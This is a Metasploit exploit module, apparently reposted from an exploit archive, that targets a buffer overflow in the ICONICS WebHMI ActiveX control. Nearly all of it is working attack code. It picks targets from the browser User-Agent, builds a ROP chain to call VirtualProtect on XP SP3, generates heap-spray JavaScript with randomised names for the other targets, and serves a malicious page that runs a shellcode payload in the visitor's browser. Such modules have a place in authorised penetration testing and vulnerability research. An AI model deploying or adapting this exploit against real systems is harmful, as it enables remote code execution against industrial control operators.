ExploitFixes
ICONICS WebHMI ActiveX Buffer Overflow 2011-05-11 16:15:03

##
# $Id: iconics_webhmi_setactivexguid.rb 12576 2011-05-10 19:16:07Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "ICONICS WebHMI ActiveX Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
fails to do any proper bounds checking before this input is copied onto the stack,
which causes a buffer overflow, and results arbitrary code execution under the context
of the user.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12576 $",
'Author' =>
[
'Scoot Bell <scott.bell[at]security-assessment.com>',
'Blair Strang <blair.strang[at]security-assessment.com>',
'sinn3r', #Metasploit port
],
'References' =>
[
['OSVDB', '72135'],
['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
['URL', 'http://www.exploit-db.com/exploits/17240/'],
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[
'Automatic', {}
],
[
'IE 6/7/8 on Windows XP SP3',
{
'Offset' => 510, #Offset to where ROP gadgets begin
'Ret' => 0x770167b0, #PUSH ESP; POP EBP; RETN 8
'Max' => 4500, #Max buffer size used
},
],
[
'IE 7 on Windows Vista',
{
'Ret' => 0x0c0c0c0c, #Target spray
'blockSize' => "0x1000",
'spraySize' => "0x8500",
'Max' => 4500,
},
],
],
'Privileged' => false,
'DisclosureDate' => "May 5 2011",
'DefaultTarget' => 0))
end

def junk
return rand_text(4).unpack("L")[0].to_i
end

def repeat(addr, rep)
arr = []
rep.times { arr << addr }
return arr
end

def on_request_uri(cli, request)

my_target = ''
agent = request.headers['User-Agent']

if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
my_target = targets[2]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
my_target = targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
my_target = targets[1]
else
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent")
return
end

js = ''
sploit = ''

if my_target['spraySize'] == nil

#ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
#to the service pack (non or fully patched)

rop_gadgets = [
my_target.ret,
junk,
0x7e45c67f, #XCHG EAX,EBP; RETN (USER32.dll)
repeat(junk, 2),
0x7e440639, #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
0x7c801ad4, #Kernel32.VirtualProtect
junk, #Initial ESP + 8 p1 = retaddr
junk, #p2 - lpaddr
junk, #p3 - size
junk, #p4 - perms
junk, #p5 - oldperms
junk,
#Return address
0x7e4462ed, #XCHG EAX,ECX; RETN (USER32.dll)
0x7c902b50, #MOV EDX, ECX; RETN (ntdll.dll)
repeat(0x77aa2d96, 20), #INC ECX * 21 (CRYPT32.dll)
0x7c901726, #MOV EAX, EDX; RETN (ntdll.dll)
repeat(0x5b86a17b, 2), #ADD EAX,7B; RETN * 2 (NETAPI32.dll)
repeat(0x77c34fbd, 2), #ADD EAX,5C; RETN * 2 (msvcrt.dll)
0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
#Shellcode pointer
repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
#Size (0x400 bytes)
repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
0x7e721a99, #POP EAX; RETN (SXS.dll)
0x3BFFF9CB, #Value to XOR
0x7e7560b5, #XOR EAX,3bfffdcb (SXS.dll)
0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
#NewProtect
repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
0x7E456160, #XOR EAX,EAX; RETN (USER32.dll)
0x7E4193BA, #ADD AL,3B (USER32.dll)
repeat(0x7E442074, 5), #INC EAX; RETN (USER32.dll)
0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
#OldProtect
repeat(0x77aa2d96, 4), #INC ECX * 4 (CRYPT32.dll)
0x7e721a99, #POP EAX (SXS.dll)
0x10010570, #EAX (Wriable memory)
0x7E76EA74, #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
#Call VirtualProtect
repeat(0x7E421AAF, 20), #DEC ECX; RETN (USER32.dll)
0x7E4462ED, #XCHG EAX,ECX; RETN (USER32.dll)
0x7E45F257, #XCHG EAX,ESP; RETN (USER32.dll)
repeat(junk, 2), #Align shellcode
].flatten.pack('V*')

sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
sploit << rand_text_alpha(my_target['Max']-sploit.length)

else

#If we don't have to ROP, then we just spray against the rest of the targets

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
target_ret = [my_target.ret].pack('V')
nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))
sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))

js_func_name = rand_text_alpha(rand(6) + 3)
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
js_var_shell_name = rand_text_alpha(rand(6) + 3)
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
js_var_index_name = rand_text_alpha(rand(6) + 3)

js = <<-EOS
<script>
function #{js_func_name}() {
var #{js_var_blocks_name} = new Array();
var #{js_var_shell_name} = unescape("#{shellcode}");
var #{js_var_nopsled_name} = unescape("#{nops}");
while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
#{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
}
}
#{js_func_name}();
</script>
EOS

end

obj_id = rand_text_alpha(rand(6) + 3)
sploit_name = rand_text_alpha(rand(6) + 3)

html = <<-EOS
<html>
<head>#{js}</head>
<body>
<object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
<script>
var #{sploit_name} = unescape("#{sploit}");
#{obj_id}.SetActiveXGUID(#{sploit_name});
</script>
</body>
</html>
EOS

html = html.gsub(/^\t\t/, "")

print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})

end
end